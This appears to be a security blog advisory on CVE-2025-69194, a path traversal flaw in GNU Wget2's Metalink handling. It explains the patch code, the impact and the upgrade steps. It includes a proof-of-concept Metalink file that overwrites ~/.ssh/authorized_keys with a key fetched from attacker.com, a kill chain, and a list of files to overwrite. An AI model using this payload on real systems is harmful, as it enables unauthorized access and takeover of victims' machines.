CVE-2025-69194

Wget2 Metalink Path Traversal: Downloading Your Way to RCE

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 16, 2026·5 min read

Executive Summary (TL;DR)

Wget2 trusted Metalink filenames implicitly. If you download a malicious '.metalink' file with version <= 2.2.0, it can traverse directories (e.g., '../../') and overwrite sensitive files like SSH keys or shell configs. Fixed in version 2.2.1.

GNU Wget2 contains a critical path traversal vulnerability within its Metalink parsing logic. By constructing a malicious Metalink XML file, an attacker can trick the client into writing files anywhere on the filesystem, leading to potential RCE.

The Hook: Convenience vs. Security

We all love download accelerators. GNU Wget2, the modern, multi-threaded successor to the venerable Wget, is designed to suck down files from the internet as fast as your bandwidth allows. One of its power features is support for Metalink (RFC 5854), an XML-based standard that lists file mirrors, checksums, and other metadata to ensure you get the right file from the fastest source.

But here is the problem with complex standards: they often require the client to trust instructions from the server. Metalink doesn't just tell Wget2 where to download a file from; it can also suggest what to name that file locally via the name attribute.

In a perfect world, software would take that name, smile politely, and strip out anything dangerous. In the world of CVE-2025-69194, Wget2 took that name, nodded enthusiastically, and let the internet write files wherever it damn well pleased on your hard drive.

The Flaw: Blind Trust

The vulnerability lies in libwget/metalink.c. When Wget2 processes a Metalink v3 or v4 XML file, it parses the <file> element. Ideally, a download client should treat the name attribute as a mere suggestion, strictly confining the output to the current working directory.

However, prior to version 2.2.1, Wget2 performed zero sanitization on this attribute. It simply concatenated the provided string to the current path.

This is a classic Path Traversal (CWE-22) scenario. If the XML says <file name="cool_game.exe">, Wget2 writes cool_game.exe. But if the XML says <file name="../../.ssh/authorized_keys">, Wget2 blindly resolves that path relative to where the user is standing. It walks up the directory tree and smashes whatever file is at the destination. No questions asked. No handcuffs.

The Code: The Smoking Gun

Let's look at the fix (Commit 684be478), which reveals exactly what was missing. The developers had to implement a new function, sanitized_filename, to enforce the rules laid out in RFC 5854.

Here is the logic they added to stop the bleeding:

static const char *sanitized_filename(const char *in)
{
    // RFC 5854:
    // The path MUST NOT contain any directory traversal directives.
    // The path MUST be relative. The path MUST NOT begin with a "/", "./", or "../"; 
    // contain "/../"; or end with "/..".
    if (*in == '/'
        || !strncmp(in, "./", 2)
        || !strncmp(in, "../", 3)
        || strstr(in, "/../")
        || wget_match_tail(in, "/../"))
    {
        return NULL;
    }
    return wget_strdup(in);
}

[!NOTE] Before this code existed, in (the filename from the XML) was used raw. The patch explicitly rejects absolute paths (/), explicit relative paths (./, ../), and any traversal attempts in the middle of the string.

It is somewhat ironic that the RFC explicitly forbids this behavior, yet the implementation missed it entirely until 2025. It serves as a reminder: Standards compliance isn't just about interoperability; it's often a security roadmap.

The Exploit: Dropping the Payload

Exploiting this is trivially easy. You don't need heap spraying or ROP chains. You just need a text editor and a malicious intention.

The attack vector requires the victim to download a .metalink file and process it. This could be achieved via a social engineering campaign: "Hey, download our new super-fast installer accelerator!"

Here is what pwn_ssh.metalink looks like:

<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <!-- The Path Traversal Payload -->
    <file name="../../.ssh/authorized_keys">
      <size>567</size>
      <resources>
        <!-- The content that will overwrite the key file -->
        <url type="http">http://attacker.com/evil_pub_key.txt</url>
      </resources>
    </file>
  </files>
</metalink>

The Kill Chain:

  1. Delivery: The victim downloads pwn_ssh.metalink.
  2. Execution: The victim runs wget2 --force-metalink -i pwn_ssh.metalink (or simply passes the URL if Metalink auto-detection is on).
  3. Traversal: Wget2 parses the name ../../.ssh/authorized_keys.
  4. Overwrite: The content of evil_pub_key.txt is fetched and written over the victim's SSH keys.
  5. Access: The attacker ssh's into the box.

The Impact: Why We Panic

Arbitrary File Write is often one step away from Remote Code Execution (RCE). In a Linux environment, the implications are catastrophic depending on the user running wget2.

If run as a standard user:

  • RCE: Overwrite ~/.bashrc, ~/.profile, or ~/.ssh/authorized_keys.
  • Persistence: Drop a malicious systemd unit in ~/.config/systemd/user/.

If run as root (God forbid):

  • Total System Compromise: Overwrite /etc/passwd, /etc/shadow, or system binaries.
  • DoS: Corrupt critical boot files.

The CVSS score is 8.8 (High) because while it requires user interaction (downloading the file), the complexity is low and the impact is total confidentiality, integrity, and availability loss for the affected user context.

The Fix: Patch or Perish

The fix landed in GNU Wget2 version 2.2.1 on January 9, 2026. If you are using any version prior to this, you are vulnerable.

Immediate Actions:

  1. Upgrade: Check your package manager. If wget2 --version returns <= 2.2.0, update immediately.
  2. Verify: If you cannot update, avoid using the --force-metalink flag and treat any .metalink or .meta4 files with extreme suspicion.
  3. Audit: If you suspect you've been hit, check your logs for wget2 processes downloading strange XML files, and audit the modification times of your dotfiles (like .bashrc).

This vulnerability is a stark reminder that even 'simple' command-line tools parse complex data structures that can bite you.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
4.00%
Top 99% most exploited

Affected Systems

GNU Wget2 <= 2.2.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
GNU Wget2
GNU
<= 2.2.02.2.1
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.18.8 (High)
Attack VectorNetwork / User Interaction
ImpactArbitrary File Write / RCE
Commit684be478
StatusPatched (v2.2.1)
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Vulnerability Timeline

Fix committed to repository
2025-12-26
Reported to Red Hat
2025-12-29
CVE Published
2026-01-09

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.